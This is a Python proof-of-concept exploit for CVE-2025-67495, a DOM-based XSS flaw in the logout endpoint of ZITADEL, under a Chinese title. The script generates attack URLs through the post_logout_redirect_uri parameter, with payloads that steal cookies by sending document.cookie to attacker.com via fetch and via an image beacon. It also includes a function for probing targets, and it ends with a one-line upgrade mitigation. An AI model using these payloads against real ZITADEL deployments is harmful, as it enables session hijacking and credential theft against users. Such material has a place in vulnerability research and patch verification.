CVE-2025-67495 ZITADEL logout端点DOM型XSS漏洞

import urllib.parse # CVE-2025-67495 PoC - ZITADEL DOM-based XSS via logout endpoint # Target: ZITADEL instances versions 4.0.0-rc.1 to 4.7.0 def generate_xss_payload(): """ Generate various XSS payloads for exploiting the DOM-based XSS in ZITADEL logout endpoint via post_logout_redirect parameter. """ base_url = "https://vulnerable-zitadel-instance.com/logout" # Payload 1: Basic JavaScript execution payload1 = "javascript:alert(document.cookie)" # Payload 2: Cookie stealing with external endpoint # Replace 'attacker.com' with actual attacker-controlled server payload2 = "javascript:fetch('https://attacker.com/steal?c='+document.cookie)" # Payload 3: Session hijacking via document.domain manipulation payload3 = "javascript:var img=new Image();img.src='https://attacker.com/log?'+document.cookie" # Payload 4: Using data: protocol payload4 = "data:text/html,<script>alert(document.cookie)</script>" # Encode payloads encoded_payload1 = urllib.parse.quote(payload1) encoded_payload2 = urllib.parse.quote(payload2) # Generate attack URLs urls = { "basic_xss": f"{base_url}?post_logout_redirect_uri={encoded_payload1}", "cookie_stealing": f"{base_url}?post_logout_redirect_uri={encoded_payload2}", "data_protocol": f"{base_url}?post_logout_redirect_uri={urllib.parse.quote(payload4)}" } return urls def verify_target(url): """ Verify if target is vulnerable by checking for specific patterns. This is a simplified check - full verification requires browser automation. """ import requests try: response = requests.get(url, timeout=10, allow_redirects=False) # Check if the parameter is reflected in response if 'post_logout_redirect' in response.text.lower(): return "Potential vulnerability - parameter reflected in response" return "Target may not be vulnerable or not ZITADEL" except requests.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": print("CVE-2025-67495 PoC - ZITADEL DOM-based XSS") print("=" * 50) payloads = generate_xss_payload() for name, url in payloads.items(): print(f"\n{name.upper()}:") print(url) print("\n" + "=" * 50) print("Note: User interaction required. Victim must have multiple active sessions.") print("Mitigation: Upgrade to ZITADEL 4.7.1 or later.")